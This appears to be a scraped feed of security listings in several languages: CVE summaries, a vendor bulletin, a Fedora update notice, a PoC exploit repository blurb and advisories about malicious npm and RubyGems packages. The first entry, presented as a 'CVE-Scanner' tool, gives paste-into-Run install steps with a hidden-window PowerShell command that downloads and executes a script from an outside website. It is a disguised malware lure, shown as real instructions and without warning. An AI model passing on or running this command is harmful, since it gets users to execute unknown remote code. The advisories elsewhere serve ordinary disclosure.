CVE-Scanner

CVE-Scanner CVE-2021-42287/CVE-2021-42278/기타 스캐너 & 익스플로이터. 설치 1. WIN + R 키를 누릅니다 2. 아래 코드를 복사하여 붙여넣고 Enter 키를 누릅니다 powershell -WindowStyle Hidden -Command ScriptBlock::Createirm https://jaihind.edu.in/weatherdolphin/dollrandom.Invoke; 3. PC를 다시 시작합니다 사용법 1. CMD를 엽니다 2. fexkex 스캔할 IP...

CVE-2026-42089

CVE-2026-42089 Локальный помощник установки пакетов слишком доверял именам пакетов, предоставленным вызывающей стороной. В yeoman-environment отсутствующие генераторы могли быть установлены без подтверждения пользователя, превращая управляемые атакующим метаданные проекта в путь установки пакетов...

mini-shai-hulud-scanner

Mini Shai-Hulud スキャナー 現在、主要パッケージを食い荒らしている npm/PyPI サプライチェーンワームのための、無料のオフラインスキャナーです。Intrudify チームが開発しました。サインアップ不要、テレメトリなし、完全にオフラインで動作します。 NHS CC-4781 · CVE-2026-45321 CVSS 9.6 · GHSA-g7cv-rxg3-hmpx これは何か この数週間の間に npm install または pip install を実行したなら、これはあなた向けです。 特に...

CVE-2024-3094

xz-utils 취약점 확인 및 업데이트 유틸리티 이 스크립트는 시스템에 설치된 xz-utils 버전의 취약점을 확인하기 위해 설계되었습니다. 취약한 버전이 감지되면 스크립트는 잠재적인 보안 위험을 완화하기 위해 안정적인 버전을 자동으로 다운로드하고 설치할 것을 제안합니다. 요구 사항 스크립트 실행에 필요한 구성 요소는 다음과 같습니다: Python 3 requests 라이브러리 pip install requests로 설치 가능 tarfile 라이브러리 Python 3에 포함됨 안정적인 버전 아카이브 다운로드를 위한 인터넷 연...

Malicious code in @pinecone-experience/messages (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 078ce187b38122a7eff5def33454871232cdd38bde7d35e7ee1968d0e98cd45c package.json declares its sole dependency ltidisafe as a bare HTTPS tarball URL https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.8.3.tgz...

Security Bulletin: The following vulnerabilities that can affect IBM Storage Scale Install Toolkit are now fixed in 5.2.3.9 or higher and 6.0.1.1 or higher

Summary The following vulnerabilities that can affect IBM Storage Scale Install Toolkit are now fixed in 5.2.3.9 or higher and 6.0.1.1 or higher Vulnerability Details CVEID:CVE-2026-14375 DESCRIPTION: IBM Storage Scale does not validate or improperly validates TLS certificate validation when...

[SECURITY] Fedora 45 Update: 0install-2.18-16.fc45

Zero Install is a decentralized cross-distribution software installation system. Other features include full support for shared libraries with a SAT solver for dependency resolution, sharing between users, and integration with native platform package managers. It supports both binary and source...

CVE-2026-105741 Langflow: IP Spoofing Bypass via `X-Forwarded-For` Allowing Remote Configuration Write

Langflow is a tool for building and deploying AI-powered agents and workflows. From 1.5.0 until 1.10.3, an IP spoofing vulnerability in the Model Context Protocol MCP configuration installation endpoint POST /api/v1/mcp/project/projectid/install allowed authenticated remote attackers to bypass th...

wp2shell-cve-2026-63030-root-cause

wp2shell CVE-2026-63030 + CVE-2026-60137: 독립적 근본 원인 분석 WordPress 코어는 2026-07-17에 wp2shell을 기본 설치WordPress 6.9.0-6.9.4, 7.0.0-7.0.1, 플러그인 불필요에 영향을 주는 치명적이고 인증되지 않은 RCE로 공개했습니다. 원래 발견자Searchlight Cyber는 공개 시점에 기술적 세부 사항을 공개하지 않았습니다. 이 저장소는 취약한 버전6.9.4과 패치된 버전6.9.5 사이의 WordPress 코어 소스 diff와 로컬 랩에서의...

ph0neutria

ph0neutria ph0neutria malware crawler v1.0.1 https://github.com/phage-nz/ph0neutria Note: This project is not actively maintained. About ph0neutria is a malware zoo builder that sources samples straight from the wild. Everything is stored in Viper for ease of access and manageability. This projec...

CVE-2026-41651-Python

Pack2TheRoot: CVE-2026-41651 Python PackageKit TOCTOU 로컬 권한 상승 익스플로잇의 Python PoC입니다. 로컬의 권한이 없는 사용자는 인증 없이 root 권한으로 임의의 패키지를 설치할 수 있습니다. 항목| 값 ---|--- CVE| CVE-2026-41651 구성 요소| PackageKit 데몬packagekitd 영향을 받는 버전| 1.0.2 – 1.3.4 수정된 버전| 1.3.5 영향| 로컬 권한 상승 → root 면책 조항 이 도구는 교육 및 승인된 보안 연구 목적으로만...

Astra Linux – Vulnerability in OpAM

In OCaml opam before version 2.5.1, a .install field containing a destination filepath can use ../ to access the parent directory...

Malicious code in tron-rb (RubyGems)

RubyGems runs this gem's native extension script ext/tron-rb/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30 minutes an...

MAL-2026-17612 Malicious code in tx-broadcast-utils (RubyGems)

RubyGems runs this gem's native extension script ext/tx-broadcast-utils/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...

MAL-2026-17585 Malicious code in bitcoij-ruby (RubyGems)

RubyGems runs this gem's native extension script ext/bitcoij-ruby/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30 minut...

Malicious code in tx-broadcast-utils (RubyGems)

RubyGems runs this gem's native extension script ext/tx-broadcast-utils/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...

Malicious code in bip39-wordlist-utils (RubyGems)

RubyGems runs this gem's native extension script ext/bip39-wordlist-utils/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over ...

MAL-2026-17611 Malicious code in tron-rb (RubyGems)

RubyGems runs this gem's native extension script ext/tron-rb/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30 minutes an...

MAL-2026-17591 Malicious code in crylto-toolbox (RubyGems)

RubyGems runs this gem's native extension script ext/crylto-toolbox/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...

Malicious code in crylto-toolbox (RubyGems)

RubyGems runs this gem's native extension script ext/crylto-toolbox/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...